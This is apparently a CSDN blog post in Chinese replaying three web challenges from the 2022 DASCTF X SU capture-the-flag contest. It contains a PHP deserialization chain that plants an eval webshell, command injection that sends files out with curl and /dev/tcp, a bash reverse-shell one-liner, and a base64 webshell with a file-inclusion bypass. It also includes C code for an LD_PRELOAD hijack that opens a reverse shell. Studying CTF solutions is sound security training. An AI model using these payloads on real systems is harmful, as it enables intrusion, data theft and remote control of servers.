【2022DASCTF X SU】 三月春季挑战赛 web复现

最近不知道干啥就复现了之前打的这个比赛,题目难度相对其它比赛稍微简单一些,一起来看看吧!!

ezpop

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

一个比较常规的POP链的题目,我们用逆向思维先查找可以利用的函数,再一个一个的往前推。当然,在这里我们虽然看到eval()想到可以小小利用一手,但是由于eval()的数据中最前面加了一个注释符 “#”,或许我们传入的一些指令或者代码会被注释,这里我们的绕过方法是用一个?><?闭合前面的#,一起来分析分析这个POP

直接看过去,eval()所在的函数get_flag()可以从同一个类的run()中访问到,也可以从fin类中的__call()方法中访问,我们一个一个看,从最简单的看就是本类这个嘛,只要稍微细想就觉的不对,如果要使得本类的run()访问get_flag()函数,那么$m1的值就被固定了,我们无法进行想要的操作,所以我们选择fin类__call()方法来构造链子,现在的链子为fin::__call() ---> mix::get_flag() ,然后找到一个可以触发__call()方法的函数,找来找去觉得还是crow::__invoke()比较合适<tips:这里我的寻找当然不仅仅只是说一瞬间找到的,做题的时候你们也要多分析分析>,接下来要连接前面就简单的,能触发crow::__invoke()的只有fin::run(),触发fin::run()的是what::__toString(),触发what ::__toString()的是fin::__destruct(),到此结束,一条完整的POP链构造出来为:

fin::__destruct() --> what::__toString() --> fin::run() --> crow::__invoke() --> fin::__call() --> mix::get_flag()

所以我们的exp为:

<?php

class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}

$a = new fin();
$e = new fin();
$f = new fin();
$b = new what();
$c = new mix();
$d = new crow();

$a->f1 = $b;
$b->a = $e;
$e->f1 = $d;
$d->v1 = $f;
$f->f1 = $c;
$c->m1 = "?><? @eval(\$_POST[b]);";

echo serialize($a);

用蚁剑连上,这里多说一句,这个题需要新版的蚁剑,旧版的蚁剑和菜刀都没有POST请求数据的处理,无法通过POST传参达到一句话的效果。

 多说一句,这个flag藏的很刁钻,他在根目录下也放了个假flag,如果不注意就会在这卡很久,出题人也是够恶心的了。

calc

又是一个计算器,说实话,看到计算器这种题目就有点劝退,因为能考的太多了,但是还好本题给了源码,我们可以知道是python做的计算器。

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"


    

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000)  
        
        
 

我们看关键的一个点,就是我们GET传参进入的口子,分析一下就知道GET传参可以控制num变量,但是ip我们不能控制,而且log变量是通过 时间、ip、num三个控制的,其中num可以控制log中"echo {0} {1} {2}> ./tmp/log.txt”的{2},echo 配合{2}也就是num可以做坏事了,继续往后看,

            data = eval(num)
            os.system(log)

eval、system这两个函数都是比较危险的函数,我们可以对其利用,由于num过滤的太多了,我们为了简单可以从log下手,考虑利用后面的system(),我们有两个思路解这个题,一个思路是我们通过``反引号执行命令重定向到./tmp/log.txt中,最后再通过curl外带数据到我们的服务器端口上,还有一个思路就是我们直接执行命令带入到我们服务器上,也就是一条语句重定向两次,一次重定向到我们的服务器上,另一次是原本需要定向到临时日志文件中的。

思路一

空格过滤我们用%09替代

先执行查询文件命令:/calc?num=1%23`ls%09/`%23

再执行数据外带命令:1%23`curl%09-F%09xx=@tmp/log.txt%09http://ip:port/`%23

<执行数据外带的时候需要一台服务器监听你外带数据的端口>

命令中有个%23,是#的url编码,他的作用是从eval中注释把我们``中的数据逃逸出来,因为如果不这么做在eval中会出现报错,最后会达不到我们system执行的目的。

 

执行之后可以看到监听到的数据

 成功把log.txt的数据外带到服务器中了,再执行一条查flag操作命令

查所有命令:1%23`cat%09/*`%23
外带数据:1%23`curl%09-F%09xx=@tmp/log.txt%09http://ip:port/`%23

因为这里用cat直接查看flag好像不行,所以我们直接用“ * ”把所有的数据查看出来,虽然不知道为什么日志中没有其它文件的内容,不知道是空的原因还是太大不显示出来。

思路二:

如果不是过滤了&符号,我们也可以利用bash反弹shell到我们的服务器上,可惜它被过滤了。

反弹shell的命令为:

bash -i >& /dev/tcp/IP地址/port端口 0>&1

了解即可,我们也可以用一个和这个反弹shell差不多的命令来实现我们的思路二,如下,

查询文件命令:/calc?num=1%23`ls%09>/dev/tcp/IP/2333`

同理查flag也是用星号读取所有文件:/calc?num=1%23`cat%09/Th*%09>/dev/tcp/IP/2333`

小结:

思路一是遵循自然把命令写入文件我们主动读取,思路二是我们想办法让本来写入文件的内容重定向到我们的服务器上可以一目了然,俩种方法都挺好的,看网上还有一种用wget下马弹shell的,有兴趣可以去了解一下。

upgdstore

考点:文件上传,白名单

随便传个文件,我们得到如下结果,

“只要好看的PHP”说明我们只能传PHP文件,好看我的理解是数据问题,所以猜测数据也做了一些过滤,我们传一个phpinfo()进去看看。

 

成功了

 只要是想用的恶意函数基本都过滤了,所以我们想要从中捡漏危险函数的几率是很小很小的,所以我们可以想着用拼接绕过。

 先看看能不能读取到/etc/passwd文件内容,

传入读取一下,发现,

 成功,所以我们可以利用这个读取index.php源码,一般源码是index开头,后缀看语言有jsp、html、php等等,我们这里肯定是php语言。所以读取/var/www/html/index.php

查看该目录文件的源码,

看完源码知道了他上传文件经过过滤的过程,通过看源码的一些数据过滤,我们可以搞一点坏东西出来,思路是这样的 ,我们想办法上传一个文件内容为构造的一个恶意代码(一句话)然后用base64加密绕过一些过滤检测,我们再上传一个内容为php伪协议base64编码最后再利用文件包含读出来,然后达到利用的效果。

yijuhua.php中的内容为:

PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

 我们再上传一个文件include.php,内容为:

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0xMS5waHA="));?>

 

可以执行一句话的命令这里说明我们包含成功了,尝试用蚁剑连接发现失败了, 这里猜测的原因可能是禁用了连接蚁剑的函数。

既然连接不上,那我们就换一种思路,当遇到绕过大量disable_function时我们可以用到LD_PRELOAD劫持,这个点我会单独用一篇文章来说,这里就一笔带过了。首先我们需要利用LD_PRELOAD劫持就需要上产编译文件,由于我们已知的上传点是白名单,我们无法上传.so后缀编译文件,这里有两个思路,找一个新上传点或者写一个编译文件在题目的服务器上。这里我们用第二个思路,利用eval函数写一个文件。

利用SplFileObject写文件

我们首先写一个C文件,

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() 
{
	system("bash -c 'exec bash -i &>/dev/tcp/你的服务器IP/2333 <&1'");
}
int geteuid()
{ 
	if (getenv("LD_PRELOAD") == NULL) 
	{ 
		return 0; 
	} 
	unsetenv("LD_PRELOAD"); 
	payload();
}

放在Linux服务器环境下编译得到一个编译文件

把编译过后的文件放在我们服务器目录下,然后对题目进行写操作

 这个代码很容易理解,大体为从我们服务器读取这个文件的内容,最后再写入到目标的服务器中,写文件时如果没有目标文件名会自动创建一个,所以我们的目标文件名可以是任意的但需为.so后缀

$url = "http://your_IP/exp.so";

$file1 = new SplFileObject($url,'r');
$a="";
while(!$file1->eof())
{
    $a=$a.$file1->fgets();
}
$file2 = new SplFileObject('/tmp/exp.so','w');
$file2->fwrite($a);

 接下来我们就需要用LD_PRELOAD劫持,它的大概作用就是指向一个路径文件,使它的优先级是最高的,当执行mail()会自动调用geteuid()函数,而原本mail()会触发的geteuid()被覆盖。

1=putenv("LD_PRELOAD=/tmp/exp.so"); mail('','','','');

 可以看到我们把shell弹到我们的服务器上了,

 

这里的cat被禁止了,换句话说是我们的用户没有cat使用的权限,tail、less、more、sort等等都没有权限。不过还好有个nl可以查。

参考:2022DASCTF X SU 三月春季挑战赛 Calc

[2022DASCTF X SU 三月春季挑战赛]calc_k_du1t的博客-CSDN博客

2022DASCTF X SU 三月春季挑战赛 Calc

绕过Disable Functions来搞事情 - FreeBuf网络安全行业门户

有趣的 LD_PRELOAD_黑客技术

2022DASCTF X SU 三月春季挑战赛 | mon0dy's blog

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值